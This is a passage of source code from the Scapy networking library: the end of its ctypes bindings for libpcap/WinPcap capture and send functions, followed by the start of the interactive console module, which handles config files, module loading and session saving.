pcap_handler, POINTER(u_char)] # u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) # Return the next available packet. pcap_next = _lib.pcap_next pcap_next.restype = POINTER(u_char) pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] # int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) # Read a packet from an interface or from an offline capture. pcap_next_ex = _lib.pcap_next_ex pcap_next_ex.restype = c_int pcap_next_ex.argtypes = [ POINTER(pcap_t), POINTER( POINTER(pcap_pkthdr) ), POINTER( POINTER(u_char) ) ] # void pcap_breakloop (pcap_t *) # set a flag that will force pcap_dispatch() or pcap_loop() to return # rather than looping. pcap_breakloop = _lib.pcap_breakloop pcap_breakloop.restype = None pcap_breakloop.argtypes = [POINTER(pcap_t)] # int pcap_sendpacket (pcap_t *p, u_char *buf, int size) # Send a raw packet. pcap_sendpacket = _lib.pcap_sendpacket pcap_sendpacket.restype = c_int # pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int] pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] # void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) # Save a packet to disk. pcap_dump = _lib.pcap_dump pcap_dump.restype = None pcap_dump.argtypes = [ POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char) ] # long pcap_dump_ftell (pcap_dumper_t *) # Return the file position for a "savefile". pcap_dump_ftell = _lib.pcap_dump_ftell pcap_dump_ftell.restype = c_long pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] # int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) # Compile a packet filter, converting an high level filtering expression # (see Filtering expression syntax) in a program that can be interpreted # by the kernel-level filtering engine. pcap_compile = _lib.pcap_compile pcap_compile.restype = c_int pcap_compile.argtypes = [ POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32] # int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) # Compile a packet filter without the need of opening an adapter. This # function converts an high level filtering expression (see Filtering # expression syntax) in a program that can be interpreted by the # kernel-level filtering engine. pcap_compile_nopcap = _lib.pcap_compile_nopcap pcap_compile_nopcap.restype = c_int pcap_compile_nopcap.argtypes = [ c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32 ] # int pcap_setfilter (pcap_t *p, struct bpf_program *fp) # Associate a filter to a capture. pcap_setfilter = _lib.pcap_setfilter pcap_setfilter.restype = c_int pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] # void pcap_freecode (struct bpf_program *fp) # Free a filter. pcap_freecode = _lib.pcap_freecode pcap_freecode.restype = None pcap_freecode.argtypes = [POINTER(bpf_program)] # int pcap_datalink (pcap_t *p) # Return the link layer of an adapter. pcap_datalink = _lib.pcap_datalink pcap_datalink.restype = c_int pcap_datalink.argtypes = [POINTER(pcap_t)] # int pcap_list_datalinks (pcap_t *p, int **dlt_buf) # list datalinks pcap_list_datalinks = _lib.pcap_list_datalinks pcap_list_datalinks.restype = c_int # pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] # int pcap_set_datalink (pcap_t *p, int dlt) # Set the current data link type of the pcap descriptor to the type # specified by dlt. -1 is returned on failure. pcap_set_datalink = _lib.pcap_set_datalink pcap_set_datalink.restype = c_int pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] # int pcap_datalink_name_to_val (const char *name) # Translates a data link type name, which is a DLT_ name with the DLT_ # removed, to the corresponding data link type value. The translation is # case-insensitive. -1 is returned on failure. pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val pcap_datalink_name_to_val.restype = c_int pcap_datalink_name_to_val.argtypes = [STRING] # const char * pcap_datalink_val_to_name (int dlt) # Translates a data link type value to the corresponding data link type # name. NULL is returned on failure. pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name pcap_datalink_val_to_name.restype = STRING pcap_datalink_val_to_name.argtypes = [c_int] # const char * pcap_datalink_val_to_description (int dlt) # Translates a data link type value to a short description of that data # link type. NULL is returned on failure. pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description pcap_datalink_val_to_description.restype = STRING pcap_datalink_val_to_description.argtypes = [c_int] # int pcap_snapshot (pcap_t *p) # Return the dimension of the packet portion (in bytes) that is delivered # to the application. pcap_snapshot = _lib.pcap_snapshot pcap_snapshot.restype = c_int pcap_snapshot.argtypes = [POINTER(pcap_t)] # int pcap_is_swapped (pcap_t *p) # returns true if the current savefile uses a different byte order than # the current system. pcap_is_swapped = _lib.pcap_is_swapped pcap_is_swapped.restype = c_int pcap_is_swapped.argtypes = [POINTER(pcap_t)] # int pcap_major_version (pcap_t *p) # return the major version number of the pcap library used to write the # savefile. pcap_major_version = _lib.pcap_major_version pcap_major_version.restype = c_int pcap_major_version.argtypes = [POINTER(pcap_t)] # int pcap_minor_version (pcap_t *p) # return the minor version number of the pcap library used to write the # savefile. pcap_minor_version = _lib.pcap_minor_version pcap_minor_version.restype = c_int pcap_minor_version.argtypes = [POINTER(pcap_t)] # FILE * pcap_file (pcap_t *p) # Return the standard stream of an offline capture. pcap_file = _lib.pcap_file pcap_file.restype = FILE pcap_file.argtypes = [POINTER(pcap_t)] # int pcap_stats (pcap_t *p, struct pcap_stat *ps) # Return statistics on current capture. pcap_stats = _lib.pcap_stats pcap_stats.restype = c_int pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] # void pcap_perror (pcap_t *p, char *prefix) # print the text of the last pcap library error on stderr, prefixed by # prefix. pcap_perror = _lib.pcap_perror pcap_perror.restype = None pcap_perror.argtypes = [POINTER(pcap_t), STRING] # char * pcap_geterr (pcap_t *p) # return the error text pertaining to the last pcap library error. pcap_geterr = _lib.pcap_geterr pcap_geterr.restype = STRING pcap_geterr.argtypes = [POINTER(pcap_t)] # char * pcap_strerror (int error) # Provided in case strerror() isn't available. pcap_strerror = _lib.pcap_strerror pcap_strerror.restype = STRING pcap_strerror.argtypes = [c_int] # const char * pcap_lib_version (void) # Returns a pointer to a string giving information about the version of # the libpcap library being used; note that it contains more information # than just a version number. pcap_lib_version = _lib.pcap_lib_version pcap_lib_version.restype = STRING pcap_lib_version.argtypes = [] # void pcap_close (pcap_t *p) # close the files associated with p and deallocates resources. pcap_close = _lib.pcap_close pcap_close.restype = None pcap_close.argtypes = [POINTER(pcap_t)] # FILE * pcap_dump_file (pcap_dumper_t *p) # return the standard I/O stream of the 'savefile' opened by # pcap_dump_open(). pcap_dump_file = _lib.pcap_dump_file pcap_dump_file.restype = FILE pcap_dump_file.argtypes = [POINTER(pcap_dumper_t)] # int pcap_dump_flush (pcap_dumper_t *p) # Flushes the output buffer to the ``savefile,'' so that any packets # written with pcap_dump() but not yet written to the ``savefile'' will be # written. -1 is returned on error, 0 on success. pcap_dump_flush = _lib.pcap_dump_flush pcap_dump_flush.restype = c_int pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] # void pcap_dump_close (pcap_dumper_t *p) # Closes a savefile. pcap_dump_close = _lib.pcap_dump_close pcap_dump_close.restype = None pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] if not WINDOWS: # int pcap_get_selectable_fd(pcap_t, *p) # Returns, on UNIX, a file descriptor number for a file descriptor on # which one can do a select(), poll(). -1 is returned if no such # descriptor exists. pcap_get_selectable_fd = _lib.pcap_get_selectable_fd pcap_get_selectable_fd.restype = c_int pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] ########################################### # Windows-specific Extensions # The functions in this section extend libpcap to offer advanced functionalities # (like remote packet capture, packet buffer size variation or high-precision packet injection). # However, at the moment they can be used only in Windows. ########################################### if WINDOWS: HANDLE = c_void_p ############## # Identifiers related to the new source syntax ############## # define PCAP_SRC_FILE 2 # define PCAP_SRC_IFLOCAL 3 # define PCAP_SRC_IFREMOTE 4 # Internal representation of the type of source in use (file, remote/local # interface). PCAP_SRC_FILE = 2 PCAP_SRC_IFLOCAL = 3 PCAP_SRC_IFREMOTE = 4 ############## # Strings related to the new source syntax ############## # define PCAP_SRC_FILE_STRING "file://" # define PCAP_SRC_IF_STRING "rpcap://" # String that will be used to determine the type of source in use (file, # remote/local interface). PCAP_SRC_FILE_STRING = "file://" PCAP_SRC_IF_STRING = "rpcap://" ############## # Flags defined in the pcap_open() function ############## # define PCAP_OPENFLAG_PROMISCUOUS 1 # Defines if the adapter has to go in promiscuous mode. PCAP_OPENFLAG_PROMISCUOUS = 1 # define PCAP_OPENFLAG_DATATX_UDP 2 # Defines if the data transfer (in case of a remote capture) has to be # done with UDP protocol. PCAP_OPENFLAG_DATATX_UDP = 2 # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 PCAP_OPENFLAG_NOCAPTURE_RPCAP = 4 # Defines if the remote probe will capture its own generated traffic. # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 # This flag configures the adapter for maximum responsiveness. PCAP_OPENFLAG_MAX_RESPONSIVENESS = 16 ############## # Sampling methods defined in the pcap_setsampling() function ############## # define PCAP_SAMP_NOSAMP 0 # No sampling has to be done on the current capture. PCAP_SAMP_NOSAMP = 0 # define PCAP_SAMP_1_EVERY_N 1 # It defines that only 1 out of N packets must be returned to the user. PCAP_SAMP_1_EVERY_N = 1 # define PCAP_SAMP_FIRST_AFTER_N_MS 2 # It defines that we have to return 1 packet every N milliseconds. PCAP_SAMP_FIRST_AFTER_N_MS = 2 ############## # Authentication methods supported by the RPCAP protocol ############## # define RPCAP_RMTAUTH_NULL 0 # It defines the NULL authentication. RPCAP_RMTAUTH_NULL = 0 # define RPCAP_RMTAUTH_PWD 1 # It defines the username/password authentication. RPCAP_RMTAUTH_PWD = 1 ############## # Remote struct and defines ############## # define PCAP_BUF_SIZE 1024 # Defines the maximum buffer size in which address, port, interface names # are kept. PCAP_BUF_SIZE = 1024 # define RPCAP_HOSTLIST_SIZE 1024 # Maximum length of an host name (needed for the RPCAP active mode). RPCAP_HOSTLIST_SIZE = 1024 class pcap_send_queue(Structure): _fields_ = [("maxlen", c_uint), ("len", c_uint), ("buffer", c_char_p)] # struct pcap_rmtauth # This structure keeps the information needed to authenticate the user on a # remote machine class pcap_rmtauth(Structure): _fields_ = [("type", c_int), ("username", c_char_p), ("password", c_char_p)] # struct pcap_samp # This structure defines the information related to sampling class pcap_samp(Structure): _fields_ = [("method", c_int), ("value", c_int)] # PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) # Returns the AirPcap handler associated with an adapter. This handler can # be used to change the wireless-related settings of the CACE Technologies # AirPcap wireless capture adapters. # bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) # Returns if a given filter applies to an offline packet. pcap_offline_filter = _lib.pcap_offline_filter pcap_offline_filter.restype = c_bool pcap_offline_filter.argtypes = [ POINTER(bpf_program), POINTER(pcap_pkthdr), POINTER(u_char) ] # int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) # Save a capture to file. pcap_live_dump = _lib.pcap_live_dump pcap_live_dump.restype = c_int pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int, c_int] # int pcap_live_dump_ended (pcap_t *p, int sync) # Return the status of the kernel dump process, i.e. tells if one of the # limits defined with pcap_live_dump() has been reached. pcap_live_dump_ended = _lib.pcap_live_dump_ended pcap_live_dump_ended.restype = c_int pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] # struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) # Return statistics on current capture. pcap_stats_ex = _lib.pcap_stats_ex pcap_stats_ex.restype = POINTER(pcap_stat) pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] # int pcap_setbuff (pcap_t *p, int dim) # Set the size of the kernel buffer associated with an adapter. pcap_setbuff = _lib.pcap_setbuff pcap_setbuff.restype = c_int pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] # int pcap_setmode (pcap_t *p, int mode) # Set the working mode of the interface p to mode. pcap_setmode = _lib.pcap_setmode pcap_setmode.restype = c_int pcap_setmode.argtypes = [POINTER(pcap_t), c_int] # int pcap_setmintocopy (pcap_t *p, int size) # Set the minimum amount of data received by the kernel in a single call. pcap_setmintocopy = _lib.pcap_setmintocopy pcap_setmintocopy.restype = c_int pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] # HANDLE pcap_getevent (pcap_t *p) # Return the handle of the event associated with the interface p. pcap_getevent = _lib.pcap_getevent pcap_getevent.restype = HANDLE pcap_getevent.argtypes = [POINTER(pcap_t)] # pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) # Allocate a send queue. pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) pcap_sendqueue_alloc.argtypes = [c_uint] # void pcap_sendqueue_destroy (pcap_send_queue *queue) # Destroy a send queue. pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy pcap_sendqueue_destroy.restype = None pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)] # int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Add a packet to a send queue. pcap_sendqueue_queue = _lib.pcap_sendqueue_queue pcap_sendqueue_queue.restype = c_int pcap_sendqueue_queue.argtypes = [ POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char) ] # u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) # Send a queue of raw packets to the network. pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit pcap_sendqueue_transmit.retype = u_int pcap_sendqueue_transmit.argtypes = [ POINTER(pcap_t), POINTER(pcap_send_queue), c_int] # int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) # Create a list of network devices that can be opened with pcap_open(). pcap_findalldevs_ex = _lib.pcap_findalldevs_ex pcap_findalldevs_ex.retype = c_int pcap_findalldevs_ex.argtypes = [ STRING, POINTER(pcap_rmtauth), POINTER( POINTER(pcap_if_t) ), STRING ] # int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) # Accept a set of strings (host name, port, ...), and it returns the # complete source string according to the new format (e.g. # 'rpcap://1.2.3.4/eth0'). pcap_createsrcstr = _lib.pcap_createsrcstr pcap_createsrcstr.restype = c_int pcap_createsrcstr.argtypes = [ STRING, c_int, STRING, STRING, STRING, STRING ] # int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) # Parse the source string and returns the pieces in which the source can # be split. pcap_parsesrcstr = _lib.pcap_parsesrcstr pcap_parsesrcstr.retype = c_int pcap_parsesrcstr.argtypes = [ STRING, POINTER(c_int), STRING, STRING, STRING, STRING ] # pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) # Open a generic source in order to capture / send (WinPcap only) traffic. pcap_open = _lib.pcap_open pcap_open.restype = POINTER(pcap_t) pcap_open.argtypes = [ STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING ] # struct pcap_samp * pcap_setsampling (pcap_t *p) # Define a sampling method for packet capture. pcap_setsampling = _lib.pcap_setsampling pcap_setsampling.restype = POINTER(pcap_samp) pcap_setsampling.argtypes = [POINTER(pcap_t)] # SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) # Block until a network connection is accepted (active mode only). pcap_remoteact_accept = _lib.pcap_remoteact_accept pcap_remoteact_accept.restype = SOCKET pcap_remoteact_accept.argtypes = [ STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING ] # int pcap_remoteact_close (const char *host, char *errbuf) # Drop an active connection (active mode only). pcap_remoteact_close = _lib.pcap_remoteact_close pcap_remoteact_close.restypes = c_int pcap_remoteact_close.argtypes = [STRING, STRING] # void pcap_remoteact_cleanup () # Clean the socket that is currently used in waiting active connections. pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup pcap_remoteact_cleanup.restypes = None pcap_remoteact_cleanup.argtypes = [] # int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) # Return the hostname of the host that have an active connection with us # (active mode only). pcap_remoteact_list = _lib.pcap_remoteact_list pcap_remoteact_list.restype = c_int pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] scapy-2.4.4/scapy/main.py000066400000000000000000000576201372370053500152740ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Main module for interactive startup. """ from __future__ import absolute_import from __future__ import print_function import sys import os import getopt import code import gzip import glob import importlib import io import logging import types import warnings from random import choice # Never add any global import, in main.py, that would trigger a # warning message before the console handlers gets added in interact() from scapy.error import log_interactive, log_loading, log_scapy, \ Scapy_Exception, ScapyColoredFormatter import scapy.modules.six as six from scapy.themes import DefaultTheme, BlackAndWhite, apply_ipython_style from scapy.consts import WINDOWS from scapy.compat import cast, Any, Dict, List, Optional, Tuple, Union IGNORED = list(six.moves.builtins.__dict__) LAYER_ALIASES = { "tls": "tls.all" } QUOTES = [ ("Craft packets like it is your last day on earth.", "Lao-Tze"), ("Craft packets like I craft my beer.", "Jean De Clerck"), ("Craft packets before they craft you.", "Socrate"), ("Craft me if you can.", "IPv6 layer"), ("To craft a packet, you have to be a packet, and learn how to swim in " "the wires and in the waves.", "Jean-Claude Van Damme"), ("We are in France, we say Skappee. OK? Merci.", "Sebastien Chabal"), ("Wanna support scapy? Rate it on sectools! " "http://sectools.org/tool/scapy/", "Satoshi Nakamoto"), ("What is dead may never die!", "Python 2"), ] def _probe_config_file(cf): # type: (str) -> Union[str, None] cf_path = os.path.join(os.path.expanduser("~"), cf) try: os.stat(cf_path) except OSError: return None else: return cf_path def _read_config_file(cf, _globals=globals(), _locals=locals(), interactive=True): # type: (str, Dict[str, Any], Dict[str, Any], bool) -> None """Read a config file: execute a python file while loading scapy, that may contain some pre-configured values. If _globals or _locals are specified, they will be updated with the loaded vars. This allows an external program to use the function. Otherwise, vars are only available from inside the scapy console. params: - _globals: the globals() vars - _locals: the locals() vars - interactive: specified whether or not errors should be printed using the scapy console or raised. ex, content of a config.py file: 'conf.verb = 42\n' Manual loading: >>> _read_config_file("./config.py")) >>> conf.verb 42 """ log_loading.debug("Loading config file [%s]", cf) try: with open(cf) as cfgf: exec( compile(cfgf.read(), cf, 'exec'), _globals, _locals ) except IOError as e: if interactive: raise log_loading.warning("Cannot read config file [%s] [%s]", cf, e) except Exception: if interactive: raise log_loading.exception("Error during evaluation of config file [%s]", cf) def _validate_local(x): # type: (str) -> bool """Returns whether or not a variable should be imported. Will return False for any default modules (sys), or if they are detected as private vars (starting with a _)""" global IGNORED return x[0] != "_" and x not in IGNORED DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py") DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py") def _usage(): # type: () -> None print( "Usage: scapy.py [-s sessionfile] [-c new_startup_file] " "[-p new_prestart_file] [-C] [-P] [-H]\n" "Args:\n" "\t-H: header-less start\n" "\t-C: do not read startup file\n" "\t-P: do not read pre-startup file\n" ) sys.exit(0) ###################### # Extension system # ###################### def _load(module, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Python module to make variables, objects and functions available globally. The idea is to load the module using importlib, then copy the symbols to the global symbol table. """ if globals_dict is None: globals_dict = six.moves.builtins.__dict__ try: mod = importlib.import_module(module) if '__all__' in mod.__dict__: # import listed symbols for name in mod.__dict__['__all__']: if symb_list is not None: symb_list.append(name) globals_dict[name] = mod.__dict__[name] else: # only import non-private symbols for name, sym in six.iteritems(mod.__dict__): if _validate_local(name): if symb_list is not None: symb_list.append(name) globals_dict[name] = sym except Exception: log_interactive.error("Loading module %s", module, exc_info=True) def load_module(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy module to make variables, objects and functions available globally. """ _load("scapy.modules." + name, globals_dict=globals_dict, symb_list=symb_list) def load_layer(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy layer module to make variables, objects and functions available globally. """ _load("scapy.layers." + LAYER_ALIASES.get(name, name), globals_dict=globals_dict, symb_list=symb_list) def load_contrib(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy contrib module to make variables, objects and functions available globally. If no contrib module can be found with the given name, try to find a layer module, since a contrib module may become a layer module. """ try: importlib.import_module("scapy.contrib." + name) _load("scapy.contrib." + name, globals_dict=globals_dict, symb_list=symb_list) except ImportError as e: # if layer not found in contrib, try in layers try: load_layer(name, globals_dict=globals_dict, symb_list=symb_list) except ImportError: raise e # Let's raise the original error to avoid confusion def list_contrib(name=None, # type: Optional[str] ret=False, # type: bool _debug=False # type: bool ): # type: (...) -> Optional[List[Dict[str, Union[str, None]]]] """Show the list of all existing contribs. :param name: filter to search the contribs :param ret: whether the function should return a dict instead of printing it :returns: None or a dictionary containing the results if ret=True """ # _debug: checks that all contrib modules have correctly defined: # # scapy.contrib.description = [...] # # scapy.contrib.status = [...] # # scapy.contrib.name = [...] (optional) # or set the flag: # # scapy.contrib.description = skip # to skip the file if name is None: name = "*.py" elif "*" not in name and "?" not in name and not name.endswith(".py"): name += ".py" results = [] # type: List[Dict[str, Union[str, None]]] dir_path = os.path.join(os.path.dirname(__file__), "contrib") if sys.version_info >= (3, 5): name = os.path.join(dir_path, "**", name) iterator = glob.iglob(name, recursive=True) else: name = os.path.join(dir_path, name) iterator = glob.iglob(name) for f in iterator: mod = f.replace(os.path.sep, ".").partition("contrib.")[2] if mod.startswith("__"): continue if mod.endswith(".py"): mod = mod[:-3] desc = {"description": None, "status": None, "name": mod} with io.open(f, errors="replace") as fd: for line in fd: if line[0] != "#": continue p = line.find("scapy.contrib.") if p >= 0: p += 14 q = line.find("=", p) key = line[p:q].strip() value = line[q + 1:].strip() desc[key] = value if desc["status"] == "skip": break if desc["description"] and desc["status"]: results.append(desc) break if _debug: if desc["status"] == "skip": pass elif not desc["description"] or not desc["status"]: raise Scapy_Exception("Module %s is missing its " "contrib infos !" % mod) results.sort(key=lambda x: x["name"]) if ret: return results else: for desc in results: print("%(name)-20s: %(description)-40s status=%(status)s" % desc) return None ############################## # Session saving/restoring # ############################## def update_ipython_session(session): # type: (Dict[str, Any]) -> None """Updates IPython session with a custom one""" try: from IPython import get_ipython get_ipython().user_ns.update(session) except Exception: pass def save_session(fname="", session=None, pickleProto=-1): # type: (str, Optional[Dict[str, Any]], int) -> None """Save current Scapy session to the file specified in the fname arg. params: - fname: file to save the scapy session in - session: scapy session to use. If None, the console one will be used - pickleProto: pickle proto version (default: -1 = latest)""" from scapy import utils from scapy.config import conf, ConfClass if not fname: fname = conf.session if not fname: conf.session = fname = utils.get_temp_file(keep=True) log_interactive.info("Use [%s] as session file" % fname) if not session: try: from IPython import get_ipython session = get_ipython().user_ns except Exception: session = six.moves.builtins.__dict__["scapy_session"] to_be_saved = cast(Dict[str, Any], session).copy() if "__builtins__" in to_be_saved: del(to_be_saved["__builtins__"]) for k in list(to_be_saved): i = to_be_saved[k] if hasattr(i, "__module__") and (k[0] == "_" or i.__module__.startswith("IPython")): del(to_be_saved[k]) if isinstance(i, ConfClass): del(to_be_saved[k]) elif isinstance(i, (type, type, types.ModuleType)): if k[0] != "_": log_interactive.error("[%s] (%s) can't be saved.", k, type(to_be_saved[k])) del(to_be_saved[k]) try: os.rename(fname, fname + ".bak") except OSError: pass f = gzip.open(fname, "wb") six.moves.cPickle.dump(to_be_saved, f, pickleProto) f.close() def load_session(fname=None): # type: (Optional[Union[str, None]]) -> None """Load current Scapy session from the file specified in the fname arg. This will erase any existing session. params: - fname: file to load the scapy session from""" from scapy.config import conf if fname is None: fname = conf.session try: s = six.moves.cPickle.load(gzip.open(fname, "rb")) except IOError: try: s = six.moves.cPickle.load(open(fname, "rb")) except IOError: # Raise "No such file exception" raise scapy_session = six.moves.builtins.__dict__["scapy_session"] scapy_session.clear() scapy_session.update(s) update_ipython_session(scapy_session) log_loading.info("Loaded session [%s]" % fname) def update_session(fname=None): # type: (Optional[Union[str, None]]) -> None """Update current Scapy session from the file specified in the fname arg. params: - fname: file to load the scapy session from""" from scapy.config import conf if fname is None: fname = conf.session try: s = six.moves.cPickle.load(gzip.open(fname, "rb")) except IOError: s = six.moves.cPickle.load(open(fname, "rb")) scapy_session = six.moves.builtins.__dict__["scapy_session"] scapy_session.update(s) update_ipython_session(scapy_session) def init_session(session_name, # type: Optional[Union[str, None]] mydict=None # type: Optional[Union[Dict[str, Any], None]] ): # type: (...) -> Tuple[Dict[str, Any], List[str]] from scapy.config import conf SESSION = {} # type: Dict[str, Any] GLOBKEYS = [] # type: List[str] scapy_builtins = {k: v for k, v in six.iteritems( importlib.import_module(".all", "scapy").__dict__ ) if _validate_local(k)} six.moves.builtins.__dict__.update(scapy_builtins) GLOBKEYS.extend(scapy_builtins) GLOBKEYS.append("scapy_session") if session_name: try: os.stat(session_name) except OSError: log_loading.info("New session [%s]" % session_name) else: try: try: SESSION = six.moves.cPickle.load(gzip.open(session_name, "rb")) except IOError: SESSION = six.moves.cPickle.load(open(session_name, "rb")) log_loading.info("Using session [%s]" % session_name) except ValueError: msg = "Error opening Python3 pickled session on Python2 [%s]" log_loading.error(msg % session_name) except EOFError: log_loading.error("Error opening session [%s]" % session_name) except AttributeError: log_loading.error("Error opening session [%s]. " "Attribute missing" % session_name) if SESSION: if "conf" in SESSION: conf.configure(SESSION["conf"]) conf.session = session_name SESSION["conf"] = conf else: conf.session = session_name else: conf.session = session_name SESSION = {"conf": conf} else: SESSION = {"conf": conf} six.moves.builtins.__dict__["scapy_session"] = SESSION if mydict is not None: six.moves.builtins.__dict__["scapy_session"].update(mydict) update_ipython_session(mydict) GLOBKEYS.extend(mydict) return SESSION, GLOBKEYS ################ # Main # ################ def _prepare_quote(quote, author, max_len=78): # type: (str, str, int) -> List[str] """This function processes a quote and returns a string that is ready to be used in the fancy prompt. """ _quote = quote.split(' ') max_len -= 6 lines = [] cur_line = [] # type: List[str] def _len(line): # type: (List[str]) -> int return sum(len(elt) for elt in line) + len(line) - 1 while _quote: if not cur_line or (_len(cur_line) + len(_quote[0]) - 1 <= max_len): cur_line.append(_quote.pop(0)) continue lines.append(' | %s' % ' '.join(cur_line)) cur_line = [] if cur_line: lines.append(' | %s' % ' '.join(cur_line)) cur_line = [] lines.append(' | %s-- %s' % (" " * (max_len - len(author) - 5), author)) return lines def interact(mydict=None, argv=None, mybanner=None, loglevel=logging.INFO): # type: (Optional[Any], Optional[Any], Optional[Any], int) -> None """Starts Scapy's console.""" try: if WINDOWS: # colorama is bundled within IPython. # logging.StreamHandler will be overwritten when called, # We can't wait for IPython to call it import colorama colorama.init() # Success console_handler = logging.StreamHandler() console_handler.setFormatter( ScapyColoredFormatter( "%(levelname)s: %(message)s", ) ) except ImportError: # Failure: ignore colors in the logger console_handler = logging.StreamHandler() console_handler.setFormatter( logging.Formatter( "%(levelname)s: %(message)s", ) ) log_scapy.addHandler(console_handler) # We're in interactive mode, let's throw the DeprecationWarnings warnings.simplefilter("always") from scapy.config import conf conf.interactive = True conf.color_theme = DefaultTheme() if loglevel is not None: conf.logLevel = loglevel STARTUP_FILE = DEFAULT_STARTUP_FILE PRESTART_FILE = DEFAULT_PRESTART_FILE session_name = None if argv is None: argv = sys.argv try: opts = getopt.getopt(argv[1:], "hs:Cc:Pp:d:H") for opt, parm in opts[0]: if opt == "-h": _usage() elif opt == "-H": conf.fancy_prompt = False conf.verb = 30 elif opt == "-s": session_name = parm elif opt == "-c": STARTUP_FILE = parm elif opt == "-C": STARTUP_FILE = None elif opt == "-p": PRESTART_FILE = parm elif opt == "-P": PRESTART_FILE = None elif opt == "-d": conf.logLevel = max(1, conf.logLevel - 10) if len(opts[1]) > 0: raise getopt.GetoptError( "Too many parameters : [%s]" % " ".join(opts[1]) ) except getopt.GetoptError as msg: log_loading.error(msg) sys.exit(1) # Reset sys.argv, otherwise IPython thinks it is for him sys.argv = sys.argv[:1] SESSION, GLOBKEYS = init_session(session_name, mydict) if STARTUP_FILE: _read_config_file(STARTUP_FILE, interactive=True) if PRESTART_FILE: _read_config_file(PRESTART_FILE, interactive=True) if not conf.interactive_shell or conf.interactive_shell.lower() in [ "ipython", "auto" ]: try: import IPython from IPython import start_ipython except ImportError: log_loading.warning( "IPython not available. Using standard Python shell " "instead.\nAutoCompletion, History are disabled." ) if WINDOWS: log_loading.warning( "On Windows, colors are also disabled" ) conf.color_theme = BlackAndWhite() IPYTHON = False else: IPYTHON = True else: IPYTHON = False if conf.fancy_prompt: from scapy.utils import get_terminal_width mini_banner = (get_terminal_width() or 84) <= 75 the_logo = [ " ", " aSPY//YASa ", " apyyyyCY//////////YCa ", " sY//////YSpcs scpCY//Pp ", " ayp ayyyyyyySCP//Pp syY//C ", " AYAsAYYYYYYYY///Ps cY//S", " pCCCCY//p cSSps y//Y", " SPPPP///a pP///AC//Y", " A//A cyP////C", " p///Ac sC///a", " P////YCpc A//A", " scccccp///pSP///p p//Y", " sY/////////y caa S//P", " cayCyayP//Ya pY/Ya", " sY/PsY////YCc aC//Yp ", " sc sccaCY//PCypaapyCP//YSs ", " spCPY//////YPSps ", " ccaacs ", " 